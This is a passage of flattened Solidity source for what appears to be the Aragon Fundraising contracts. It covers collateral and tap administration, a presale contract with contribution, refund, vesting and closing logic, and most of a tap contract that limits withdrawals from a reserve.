rate at which that token is to be tapped [in wei / block] * @param _floor The floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function addCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage, uint256 _rate, uint256 _floor ) external auth(ADD_COLLATERAL_TOKEN_ROLE) { marketMaker.addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); if (_collateral != ETH) { reserve.addProtectedToken(_collateral); } if (_rate > 0) { tap.addTappedToken(_collateral, _rate, _floor); } } /** * @notice Re-add `_collateral.symbol(): string` as a whitelisted collateral token [if it has been un-whitelisted in the past] * @param _collateral The address of the collateral token to be whitelisted * @param _virtualSupply The virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM] * @param _slippage The price slippage below which each market making batch is to be kept for that collateral token [in PCT_BASE] */ function reAddCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage ) external auth(ADD_COLLATERAL_TOKEN_ROLE) { marketMaker.addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /** * @notice Remove `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be un-whitelisted */ function removeCollateralToken(address _collateral) external auth(REMOVE_COLLATERAL_TOKEN_ROLE) { marketMaker.removeCollateralToken(_collateral); // the token should still be tapped to avoid being locked // the token should still be protected to avoid being spent } /** * @notice Update `_collateral.symbol(): string` collateralization settings * @param _collateral The address of the collateral token whose collateralization settings are to be updated * @param _virtualSupply The new virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The new virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The new reserve ratio to be used for that collateral token [in PPM] * @param _slippage The new price slippage below which each market making batch is to be kept for that collateral token [in PCT_BASE] */ function updateCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage ) external auth(UPDATE_COLLATERAL_TOKEN_ROLE) { marketMaker.updateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /* tap related functions */ /** * @notice Update maximum tap rate increase percentage to `@formatPct(_maximumTapRateIncreasePct)`% * @param _maximumTapRateIncreasePct The new maximum tap rate increase percentage to be allowed [in PCT_BASE] */ function updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) external auth(UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE) { tap.updateMaximumTapRateIncreasePct(_maximumTapRateIncreasePct); } /** * @notice Update maximum tap floor decrease percentage to `@formatPct(_maximumTapFloorDecreasePct)`% * @param _maximumTapFloorDecreasePct The new maximum tap floor decrease percentage to be allowed [in PCT_BASE] */ function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external auth(UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE) { tap.updateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); } /** * @notice Add tap for `_token.symbol(): string` with a rate of `@tokenAmount(_token, _rate)` per block and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token to be tapped * @param _rate The rate at which that token is to be tapped [in wei / block] * @param _floor The floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function addTokenTap(address _token, uint256 _rate, uint256 _floor) external auth(ADD_TOKEN_TAP_ROLE) { tap.addTappedToken(_token, _rate, _floor); } /** * @notice Update tap for `_token.symbol(): string` with a rate of about `@tokenAmount(_token, 4 * 60 * 24 * 30 * _rate)` per month and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token whose tap is to be updated * @param _rate The new rate at which that token is to be tapped [in wei / block] * @param _floor The new floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function updateTokenTap(address _token, uint256 _rate, uint256 _floor) external auth(UPDATE_TOKEN_TAP_ROLE) { tap.updateTappedToken(_token, _rate, _floor); } /** * @notice Update tapped amount for `_token.symbol(): string` * @param _token The address of the token whose tapped amount is to be updated */ function updateTappedAmount(address _token) external { tap.updateTappedAmount(_token); } /** * @notice Transfer about `@tokenAmount(_token, self.getMaximumWithdrawal(_token): uint256)` from the reserve to the beneficiary * @param _token The address of the token to be transfered from the reserve to the beneficiary */ function withdraw(address _token) external auth(WITHDRAW_ROLE) { tap.withdraw(_token); } /***** public view functions *****/ function token() public view isInitialized returns (address) { return marketMaker.token(); } function contributionToken() public view isInitialized returns (address) { return presale.contributionToken(); } function getMaximumWithdrawal(address _token) public view isInitialized returns (uint256) { return tap.getMaximumWithdrawal(_token); } function collateralsToBeClaimed(address _collateral) public view isInitialized returns (uint256) { return marketMaker.collateralsToBeClaimed(_collateral); } function balanceOf(address _who, address _token) public view isInitialized returns (uint256) { uint256 balance = _token == ETH ? _who.balance : ERC20(_token).staticBalanceOf(_who); if (_who == address(reserve)) { return balance.sub(tap.getMaximumWithdrawal(_token)); } else { return balance; } } /***** internal functions *****/ function _tokenIsContractOrETH(address _token) internal view returns (bool) { return isContract(_token) || _token == ETH; } } // File: @ablack/fundraising-presale/contracts/Presale.sol pragma solidity ^0.4.24; contract Presale is IPresale, EtherTokenConstant, IsContract, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; using SafeMath64 for uint64; /** Hardcoded constants to save gas bytes32 public constant OPEN_ROLE = keccak256("OPEN_ROLE"); bytes32 public constant CONTRIBUTE_ROLE = keccak256("CONTRIBUTE_ROLE"); */ bytes32 public constant OPEN_ROLE = 0xefa06053e2ca99a43c97c4a4f3d8a394ee3323a8ff237e625fba09fe30ceb0a4; bytes32 public constant CONTRIBUTE_ROLE = 0x9ccaca4edf2127f20c425fdd86af1ba178b9e5bee280cd70d88ac5f6874c4f07; uint256 public constant PPM = 1000000; // 0% = 0 * 10 ** 4; 1% = 1 * 10 ** 4; 100% = 100 * 10 ** 4 string private constant ERROR_CONTRACT_IS_EOA = "PRESALE_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_BENEFICIARY = "PRESALE_INVALID_BENEFICIARY"; string private constant ERROR_INVALID_CONTRIBUTE_TOKEN = "PRESALE_INVALID_CONTRIBUTE_TOKEN"; string private constant ERROR_INVALID_GOAL = "PRESALE_INVALID_GOAL"; string private constant ERROR_INVALID_EXCHANGE_RATE = "PRESALE_INVALID_EXCHANGE_RATE"; string private constant ERROR_INVALID_TIME_PERIOD = "PRESALE_INVALID_TIME_PERIOD"; string private constant ERROR_INVALID_PCT = "PRESALE_INVALID_PCT"; string private constant ERROR_INVALID_STATE = "PRESALE_INVALID_STATE"; string private constant ERROR_INVALID_CONTRIBUTE_VALUE = "PRESALE_INVALID_CONTRIBUTE_VALUE"; string private constant ERROR_INSUFFICIENT_BALANCE = "PRESALE_INSUFFICIENT_BALANCE"; string private constant ERROR_INSUFFICIENT_ALLOWANCE = "PRESALE_INSUFFICIENT_ALLOWANCE"; string private constant ERROR_NOTHING_TO_REFUND = "PRESALE_NOTHING_TO_REFUND"; string private constant ERROR_TOKEN_TRANSFER_REVERTED = "PRESALE_TOKEN_TRANSFER_REVERTED"; enum State { Pending, // presale is idle and pending to be started Funding, // presale has started and contributors can purchase tokens Refunding, // presale has not reached goal within period and contributors can claim refunds GoalReached, // presale has reached goal within period and trading is ready to be open Closed // presale has reached goal within period, has been closed and trading has been open } IAragonFundraisingController public controller; TokenManager public tokenManager; ERC20 public token; address public reserve; address public beneficiary; address public contributionToken; uint256 public goal; uint64 public period; uint256 public exchangeRate; uint64 public vestingCliffPeriod; uint64 public vestingCompletePeriod; uint256 public supplyOfferedPct; uint256 public fundingForBeneficiaryPct; uint64 public openDate; bool public isClosed; uint64 public vestingCliffDate; uint64 public vestingCompleteDate; uint256 public totalRaised; mapping(address => mapping(uint256 => uint256)) public contributions; // contributor => (vestedPurchaseId => tokensSpent) event SetOpenDate (uint64 date); event Close (); event Contribute (address indexed contributor, uint256 value, uint256 amount, uint256 vestedPurchaseId); event Refund (address indexed contributor, uint256 value, uint256 amount, uint256 vestedPurchaseId); /***** external function *****/ /** * @notice Initialize presale * @param _controller The address of the controller contract * @param _tokenManager The address of the [bonded] token manager contract * @param _reserve The address of the reserve [pool] contract * @param _beneficiary The address of the beneficiary [to whom a percentage of the raised funds is be to be sent] * @param _contributionToken The address of the token to be used to contribute * @param _goal The goal to be reached by the end of that presale [in contribution token wei] * @param _period The period within which to accept contribution for that presale * @param _exchangeRate The exchangeRate [= 1/price] at which [bonded] tokens are to be purchased for that presale [in PPM] * @param _vestingCliffPeriod The period during which purchased [bonded] tokens are to be cliffed * @param _vestingCompletePeriod The complete period during which purchased [bonded] tokens are to be vested * @param _supplyOfferedPct The percentage of the initial supply of [bonded] tokens to be offered during that presale [in PPM] * @param _fundingForBeneficiaryPct The percentage of the raised contribution tokens to be sent to the beneficiary [instead of the fundraising reserve] when that presale is closed [in PPM] * @param _openDate The date upon which that presale is to be open [ignored if 0] */ function initialize( IAragonFundraisingController _controller, TokenManager _tokenManager, address _reserve, address _beneficiary, address _contributionToken, uint256 _goal, uint64 _period, uint256 _exchangeRate, uint64 _vestingCliffPeriod, uint64 _vestingCompletePeriod, uint256 _supplyOfferedPct, uint256 _fundingForBeneficiaryPct, uint64 _openDate ) external onlyInit { require(isContract(_controller), ERROR_CONTRACT_IS_EOA); require(isContract(_tokenManager), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(_beneficiary != address(0), ERROR_INVALID_BENEFICIARY); require(isContract(_contributionToken) || _contributionToken == ETH, ERROR_INVALID_CONTRIBUTE_TOKEN); require(_goal > 0, ERROR_INVALID_GOAL); require(_period > 0, ERROR_INVALID_TIME_PERIOD); require(_exchangeRate > 0, ERROR_INVALID_EXCHANGE_RATE); require(_vestingCliffPeriod > _period, ERROR_INVALID_TIME_PERIOD); require(_vestingCompletePeriod > _vestingCliffPeriod, ERROR_INVALID_TIME_PERIOD); require(_supplyOfferedPct > 0 && _supplyOfferedPct <= PPM, ERROR_INVALID_PCT); require(_fundingForBeneficiaryPct >= 0 && _fundingForBeneficiaryPct <= PPM, ERROR_INVALID_PCT); initialized(); controller = _controller; tokenManager = _tokenManager; token = ERC20(_tokenManager.token()); reserve = _reserve; beneficiary = _beneficiary; contributionToken = _contributionToken; goal = _goal; period = _period; exchangeRate = _exchangeRate; vestingCliffPeriod = _vestingCliffPeriod; vestingCompletePeriod = _vestingCompletePeriod; supplyOfferedPct = _supplyOfferedPct; fundingForBeneficiaryPct = _fundingForBeneficiaryPct; if (_openDate != 0) { _setOpenDate(_openDate); } } /** * @notice Open presale [enabling users to contribute] */ function open() external auth(OPEN_ROLE) { require(state() == State.Pending, ERROR_INVALID_STATE); require(openDate == 0, ERROR_INVALID_STATE); _open(); } /** * @notice Contribute to the presale up to `@tokenAmount(self.contributionToken(): address, _value)` * @param _contributor The address of the contributor * @param _value The amount of contribution token to be spent */ function contribute(address _contributor, uint256 _value) external payable nonReentrant auth(CONTRIBUTE_ROLE) { require(state() == State.Funding, ERROR_INVALID_STATE); require(_value != 0, ERROR_INVALID_CONTRIBUTE_VALUE); if (contributionToken == ETH) { require(msg.value == _value, ERROR_INVALID_CONTRIBUTE_VALUE); } else { require(msg.value == 0, ERROR_INVALID_CONTRIBUTE_VALUE); } _contribute(_contributor, _value); } /** * @notice Refund `_contributor`'s presale contribution #`_vestedPurchaseId` * @param _contributor The address of the contributor whose presale contribution is to be refunded * @param _vestedPurchaseId The id of the contribution to be refunded */ function refund(address _contributor, uint256 _vestedPurchaseId) external nonReentrant isInitialized { require(state() == State.Refunding, ERROR_INVALID_STATE); _refund(_contributor, _vestedPurchaseId); } /** * @notice Close presale and open trading */ function close() external nonReentrant isInitialized { require(state() == State.GoalReached, ERROR_INVALID_STATE); _close(); } /***** public view functions *****/ /** * @notice Computes the amount of [bonded] tokens that would be purchased for `@tokenAmount(self.contributionToken(): address, _value)` * @param _value The amount of contribution tokens to be used in that computation */ function contributionToTokens(uint256 _value) public view isInitialized returns (uint256) { return _value.mul(exchangeRate).div(PPM); } function contributionToken() public view isInitialized returns (address) { return contributionToken; } /** * @notice Returns the current state of that presale */ function state() public view isInitialized returns (State) { if (openDate == 0 || openDate > getTimestamp64()) { return State.Pending; } if (totalRaised >= goal) { if (isClosed) { return State.Closed; } else { return State.GoalReached; } } if (_timeSinceOpen() < period) { return State.Funding; } else { return State.Refunding; } } /***** internal functions *****/ function _timeSinceOpen() internal view returns (uint64) { if (openDate == 0) { return 0; } else { return getTimestamp64().sub(openDate); } } function _setOpenDate(uint64 _date) internal { require(_date >= getTimestamp64(), ERROR_INVALID_TIME_PERIOD); openDate = _date; _setVestingDatesWhenOpenDateIsKnown(); emit SetOpenDate(_date); } function _setVestingDatesWhenOpenDateIsKnown() internal { vestingCliffDate = openDate.add(vestingCliffPeriod); vestingCompleteDate = openDate.add(vestingCompletePeriod); } function _open() internal { _setOpenDate(getTimestamp64()); } function _contribute(address _contributor, uint256 _value) internal { uint256 value = totalRaised.add(_value) > goal ? goal.sub(totalRaised) : _value; if (contributionToken == ETH && _value > value) { msg.sender.transfer(_value.sub(value)); } // (contributor) ~~~> contribution tokens ~~~> (presale) if (contributionToken != ETH) { require(ERC20(contributionToken).balanceOf(_contributor) >= value, ERROR_INSUFFICIENT_BALANCE); require(ERC20(contributionToken).allowance(_contributor, address(this)) >= value, ERROR_INSUFFICIENT_ALLOWANCE); _transfer(contributionToken, _contributor, address(this), value); } // (mint ✨) ~~~> project tokens ~~~> (contributor) uint256 tokensToSell = contributionToTokens(value); tokenManager.issue(tokensToSell); uint256 vestedPurchaseId = tokenManager.assignVested( _contributor, tokensToSell, openDate, vestingCliffDate, vestingCompleteDate, true /* revokable */ ); totalRaised = totalRaised.add(value); // register contribution tokens spent in this purchase for a possible upcoming refund contributions[_contributor][vestedPurchaseId] = value; emit Contribute(_contributor, value, tokensToSell, vestedPurchaseId); } function _refund(address _contributor, uint256 _vestedPurchaseId) internal { // recall how much contribution tokens are to be refund for this purchase uint256 tokensToRefund = contributions[_contributor][_vestedPurchaseId]; require(tokensToRefund > 0, ERROR_NOTHING_TO_REFUND); contributions[_contributor][_vestedPurchaseId] = 0; // (presale) ~~~> contribution tokens ~~~> (contributor) _transfer(contributionToken, address(this), _contributor, tokensToRefund); /** * NOTE * the following lines assume that _contributor has not transfered any of its vested tokens * for now TokenManager does not handle switching the transferrable status of its underlying token * there is thus no way to enforce non-transferrability during the presale phase only * this will be updated in a later version */ // (contributor) ~~~> project tokens ~~~> (token manager) (uint256 tokensSold,,,,) = tokenManager.getVesting(_contributor, _vestedPurchaseId); tokenManager.revokeVesting(_contributor, _vestedPurchaseId); // (token manager) ~~~> project tokens ~~~> (burn 💥) tokenManager.burn(address(tokenManager), tokensSold); emit Refund(_contributor, tokensToRefund, tokensSold, _vestedPurchaseId); } function _close() internal { isClosed = true; // (presale) ~~~> contribution tokens ~~~> (beneficiary) uint256 fundsForBeneficiary = totalRaised.mul(fundingForBeneficiaryPct).div(PPM); if (fundsForBeneficiary > 0) { _transfer(contributionToken, address(this), beneficiary, fundsForBeneficiary); } // (presale) ~~~> contribution tokens ~~~> (reserve) uint256 tokensForReserve = contributionToken == ETH ? address(this).balance : ERC20(contributionToken).balanceOf(address(this)); _transfer(contributionToken, address(this), reserve, tokensForReserve); // (mint ✨) ~~~> project tokens ~~~> (beneficiary) uint256 tokensForBeneficiary = token.totalSupply().mul(PPM.sub(supplyOfferedPct)).div(supplyOfferedPct); tokenManager.issue(tokensForBeneficiary); tokenManager.assignVested( beneficiary, tokensForBeneficiary, openDate, vestingCliffDate, vestingCompleteDate, false /* revokable */ ); // open trading controller.openTrading(); emit Close(); } function _transfer(address _token, address _from, address _to, uint256 _amount) internal { if (_token == ETH) { require(_from == address(this), ERROR_TOKEN_TRANSFER_REVERTED); require(_to != address(this), ERROR_TOKEN_TRANSFER_REVERTED); _to.transfer(_amount); } else { if (_from == address(this)) { require(ERC20(_token).safeTransfer(_to, _amount), ERROR_TOKEN_TRANSFER_REVERTED); } else { require(ERC20(_token).safeTransferFrom(_from, _to, _amount), ERROR_TOKEN_TRANSFER_REVERTED); } } } } // File: @ablack/fundraising-tap/contracts/Tap.sol pragma solidity 0.4.24; contract Tap is ITap, TimeHelpers, EtherTokenConstant, IsContract, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; /** Hardcoded constants to save gas bytes32 public constant UPDATE_CONTROLLER_ROLE = keccak256("UPDATE_CONTROLLER_ROLE"); bytes32 public constant UPDATE_RESERVE_ROLE = keccak256("UPDATE_RESERVE_ROLE"); bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE"); bytes32 public constant ADD_TAPPED_TOKEN_ROLE = keccak256("ADD_TAPPED_TOKEN_ROLE"); bytes32 public constant REMOVE_TAPPED_TOKEN_ROLE = keccak256("REMOVE_TAPPED_TOKEN_ROLE"); bytes32 public constant UPDATE_TAPPED_TOKEN_ROLE = keccak256("UPDATE_TAPPED_TOKEN_ROLE"); bytes32 public constant RESET_TAPPED_TOKEN_ROLE = keccak256("RESET_TAPPED_TOKEN_ROLE"); bytes32 public constant WITHDRAW_ROLE = keccak256("WITHDRAW_ROLE"); */ bytes32 public constant UPDATE_CONTROLLER_ROLE = 0x454b5d0dbb74f012faf1d3722ea441689f97dc957dd3ca5335b4969586e5dc30; bytes32 public constant UPDATE_RESERVE_ROLE = 0x7984c050833e1db850f5aa7476710412fd2983fcec34da049502835ad7aed4f7; bytes32 public constant UPDATE_BENEFICIARY_ROLE = 0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593; bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = 0x5d94de7e429250eee4ff97e30ab9f383bea3cd564d6780e0a9e965b1add1d207; bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = 0x57c9c67896cf0a4ffe92cbea66c2f7c34380af06bf14215dabb078cf8a6d99e1; bytes32 public constant ADD_TAPPED_TOKEN_ROLE = 0x5bc3b608e6be93b75a1c472a4a5bea3d31eabae46bf968e4bc4c7701562114dc; bytes32 public constant REMOVE_TAPPED_TOKEN_ROLE = 0xd76960be78bfedc5b40ce4fa64a2f8308f39dd2cbb1f9676dbc4ce87b817befd; bytes32 public constant UPDATE_TAPPED_TOKEN_ROLE = 0x83201394534c53ae0b4696fd49a933082d3e0525aa5a3d0a14a2f51e12213288; bytes32 public constant RESET_TAPPED_TOKEN_ROLE = 0x294bf52c518669359157a9fe826e510dfc3dbd200d44bf77ec9536bff34bc29e; bytes32 public constant WITHDRAW_ROLE = 0x5d8e12c39142ff96d79d04d15d1ba1269e4fe57bb9d26f43523628b34ba108ec; uint256 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10 ** 16; 100% = 10 ** 18 string private constant ERROR_CONTRACT_IS_EOA = "TAP_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_BENEFICIARY = "TAP_INVALID_BENEFICIARY"; string private constant ERROR_INVALID_BATCH_BLOCKS = "TAP_INVALID_BATCH_BLOCKS"; string private constant ERROR_INVALID_FLOOR_DECREASE_PCT = "TAP_INVALID_FLOOR_DECREASE_PCT"; string private constant ERROR_INVALID_TOKEN = "TAP_INVALID_TOKEN"; string private constant ERROR_INVALID_TAP_RATE = "TAP_INVALID_TAP_RATE"; string private constant ERROR_INVALID_TAP_UPDATE = "TAP_INVALID_TAP_UPDATE"; string private constant ERROR_TOKEN_ALREADY_TAPPED = "TAP_TOKEN_ALREADY_TAPPED"; string private constant ERROR_TOKEN_NOT_TAPPED = "TAP_TOKEN_NOT_TAPPED"; string private constant ERROR_WITHDRAWAL_AMOUNT_ZERO = "TAP_WITHDRAWAL_AMOUNT_ZERO"; IAragonFundraisingController public controller; Vault public reserve; address public beneficiary; uint256 public batchBlocks; uint256 public maximumTapRateIncreasePct; uint256 public maximumTapFloorDecreasePct; mapping (address => uint256) public tappedAmounts; mapping (address => uint256) public rates; mapping (address => uint256) public floors; mapping (address => uint256) public lastTappedAmountUpdates; // batch ids [block numbers] mapping (address => uint256) public lastTapUpdates; // timestamps event UpdateBeneficiary (address indexed beneficiary); event UpdateMaximumTapRateIncreasePct (uint256 maximumTapRateIncreasePct); event UpdateMaximumTapFloorDecreasePct(uint256 maximumTapFloorDecreasePct); event AddTappedToken (address indexed token, uint256 rate, uint256 floor); event RemoveTappedToken (address indexed token); event UpdateTappedToken (address indexed token, uint256 rate, uint256 floor); event ResetTappedToken (address indexed token); event UpdateTappedAmount (address indexed token, uint256 tappedAmount); event Withdraw (address indexed token, uint256 amount); /***** external functions *****/ /** * @notice Initialize tap * @param _controller The address of the controller contract * @param _reserve The address of the reserve [pool] contract * @param _beneficiary The address of the beneficiary [to whom funds are to be withdrawn] * @param _batchBlocks The number of blocks batches are to last * @param _maximumTapRateIncreasePct The maximum tap rate increase percentage allowed [in PCT_BASE] * @param _maximumTapFloorDecreasePct The maximum tap floor decrease percentage allowed [in PCT_BASE] */ function initialize( IAragonFundraisingController _controller, Vault _reserve, address _beneficiary, uint256 _batchBlocks, uint256 _maximumTapRateIncreasePct, uint256 _maximumTapFloorDecreasePct ) external onlyInit { require(isContract(_controller), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); require(_batchBlocks != 0, ERROR_INVALID_BATCH_BLOCKS); require(_maximumTapFloorDecreasePctIsValid(_maximumTapFloorDecreasePct), ERROR_INVALID_FLOOR_DECREASE_PCT); initialized(); controller = _controller; reserve = _reserve; beneficiary = _beneficiary; batchBlocks = _batchBlocks; maximumTapRateIncreasePct = _maximumTapRateIncreasePct; maximumTapFloorDecreasePct = _maximumTapFloorDecreasePct; } /** * @notice Update beneficiary to `_beneficiary` * @param _beneficiary The address of the new beneficiary [to whom funds are to be withdrawn] */ function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) { require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); _updateBeneficiary(_beneficiary); } /** * @notice Update maximum tap rate increase percentage to `@formatPct(_maximumTapRateIncreasePct)`% * @param _maximumTapRateIncreasePct The new maximum tap rate increase percentage to be allowed [in PCT_BASE] */ function updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) external auth(UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE) { _updateMaximumTapRateIncreasePct(_maximumTapRateIncreasePct); } /** * @notice Update maximum tap floor decrease percentage to `@formatPct(_maximumTapFloorDecreasePct)`% * @param _maximumTapFloorDecreasePct The new maximum tap floor decrease percentage to be allowed [in PCT_BASE] */ function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external auth(UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE) { require(_maximumTapFloorDecreasePctIsValid(_maximumTapFloorDecreasePct), ERROR_INVALID_FLOOR_DECREASE_PCT); _updateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); } /** * @notice Add tap for `_token.symbol(): string` with a rate of `@tokenAmount(_token, _rate)` per block and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token to be tapped * @param _rate The rate at which that token is to be tapped [in wei / block] * @param _floor The floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function addTappedToken(address _token, uint256 _rate, uint256 _floor) external auth(ADD_TAPPED_TOKEN_ROLE) { require(_tokenIsContractOrETH(_token), ERROR_INVALID_TOKEN); require(!_tokenIsTapped(_token), ERROR_TOKEN_ALREADY_TAPPED); require(_tapRateIsValid(_rate), ERROR_INVALID_TAP_RATE); _addTappedToken(_token, _rate, _floor); } /** * @notice Remove tap for `_token.symbol(): string` * @param _token The address of the token to be un-tapped */ function removeTappedToken(address _token) external auth(REMOVE_TAPPED_TOKEN_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); _removeTappedToken(_token); } /** * @notice Update tap for `_token.symbol(): string` with a rate of `@tokenAmount(_token, _rate)` per block and a floor of `@tokenAmount(_token, _floor)` * @param _token The address of the token whose tap is to be updated * @param _rate The new rate at which that token is to be tapped [in wei / block] * @param _floor The new floor above which the reserve [pool] balance for that token is to be kept [in wei] */ function updateTappedToken(address _token, uint256 _rate, uint256 _floor) external auth(UPDATE_TAPPED_TOKEN_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); require(_tapRateIsValid(_rate), ERROR_INVALID_TAP_RATE); require(_tapUpdateIsValid(_token, _rate, _floor), ERROR_INVALID_TAP_UPDATE); _updateTappedToken(_token, _rate, _floor); } /** * @notice Reset tap timestamps for `_token.symbol(): string` * @param _token The address of the token whose tap timestamps are to be reset */ function resetTappedToken(address _token) external auth(RESET_TAPPED_TOKEN_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); _resetTappedToken(_token); } /** * @notice Update tapped amount for `_token.symbol(): string` * @param _token The address of the token whose tapped amount is to be updated */ function updateTappedAmount(address _token) external { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); _updateTappedAmount(_token); } /** * @notice Transfer about `@tokenAmount(_token, self.getMaximalWithdrawal(_token): uint256)` from `self.reserve()` to `self.beneficiary()` * @param _token The address of the token to be transfered */ function withdraw(address _token) external auth(WITHDRAW_ROLE) { require(_tokenIsTapped(_token), ERROR_TOKEN_NOT_TAPPED); uint256 amount = _updateTappedAmount(_token); require(amount > 0, ERROR_WITHDRAWAL_AMOUNT_ZERO); _withdraw(_token, amount); } /***** public view functions *****/ function getMaximumWithdrawal(address _token) public view isInitialized returns (uint256) { return _tappedAmount(_token); } function rates(address _token) public view isInitialized returns (uint256) { return rates[_token]; } /***** internal functions *****/ /* computation functions */ function _currentBatchId() internal view returns (uint256) { return (block.number.div(batchBlocks)).mul(batchBlocks); } function _tappedAmount(address _token) internal view returns (uint256) { uint256 toBeKept = controller.collateralsToBeClaimed(_token).add(floors[_token]); uint256 balance = _token == ETH ? address(reserve).balance : ERC20(_token).staticBalanceOf(reserve); uint256 flow = (_currentBatchId().sub(lastTappedAmountUpdates[_token])).mul(rates[_token]); uint256 tappedAmount = tappedAmounts[_token].add(flow); /** * whatever happens enough collateral should be * kept in the reserve pool to guarantee that * its balance is kept above the floor once * all pending sell orders are claimed */ /** * the reserve's balance is already below the balance to be kept * the tapped amount should be reset to zero */ if (balance <= toBeKept) { return 0; } /** * the reserve's balance minus the upcoming tap flow would be below the balance to be kept * the flow should be reduced to balance - toBeKept */ if (balance <= toBeKept.add(tappedAmount)) { return balance.sub(toBeKept); } /** * the reserve's balance minus the upcoming flow is above the balance to be kept * the flow can be added to the tapped amount */ return tappedAmount; } /* check functions */ function _beneficiaryIsValid(address _beneficiary) internal pure returns (bool) { return _beneficiary != address(0); } function _maximumTapFloorDecreasePctIsValid(uint256 _maximumTapFloorDecreasePct) internal pure returns (bool) { return _maximumTapFloorDecreasePct <= PCT_BASE; } function _tokenIsContractOrETH(address _token) internal view returns (bool) { return isContract(_token) || _token == ETH; } function _tokenIsTapped(address _token) internal view returns (bool) { return rates[_token] != uint256(0); } function _tapRateIsValid(uint256 _rate) internal pure returns (bool) { return _rate != 0; } function _tapUpdateIsValid(address _token, uint256 _rate, uint256 _floor) internal view returns (bool) { return _tapRateUpdateIsValid(_token, _rate) && _tapFloorUpdateIsValid(_token, _floor); } function _tapRateUpdateIsValid(address _token, uint256 _rate) internal view returns (bool) { uint256 rate = rates[_token]; if (_rate <= rate) { return true; } if (getTimestamp() < lastTapUpdates[_token] + 30 days) { return false; } if (_rate.mul(PCT_BASE) <= rate.mul(PCT_BASE.add(maximumTapRateIncreasePct))) { return true; } return false; } function _tapFloorUpdateIsValid(address _token, uint256 _floor) internal view returns (bool) { uint256 floor = floors[_token]; if (_floor >= floor) { return true; } if (getTimestamp() < lastTapUpdates[_token] + 30 days) { return false; } if (maximumTapFloorDecreasePct >= PCT_BASE) { return true; } if (_floor.mul(PCT_BASE) >= floor.mul(PCT_BASE.sub(maximumTapFloorDecreasePct))) { return true; } return false; } /* state modifying functions */ function _updateTappedAmount(address _token) internal returns (uint256) { uint256 tappedAmount = _tappedAmount(_token); lastTappedAmountUpdates[_token] = _currentBatchId(); tappedAmounts[_token] = tappedAmount; emit UpdateTappedAmount(_token, tappedAmount); return tappedAmount; } function _updateBeneficiary(address _beneficiary) internal { beneficiary = _beneficiary; emit UpdateBeneficiary(_beneficiary); } function _updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) internal { maximumTapRateIncreasePct = _maximumTapRateIncreasePct; emit UpdateMaximumTapRateIncreasePct(_maximumTapRateIncreasePct); } function _updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) internal { maximumTapFloorDecreasePct = _maximumTapFloorDecreasePct; emit UpdateMaximumTapFloorDecreasePct(_maximumTapFloorDecreasePct); } function _addTappedToken(address _token, uint256 _rate, uint256 _floor) internal { /** * NOTE * 1. if _token is tapped in the middle of a batch it will * reach the next batch faster than what it normally takes * to go through a batch [e.g. one block later] * 2. this will allow for a higher withdrawal than expected * a few blocks after _token is tapped * 3. this is not a problem because this extra amount is * static [at most rates[_token] * 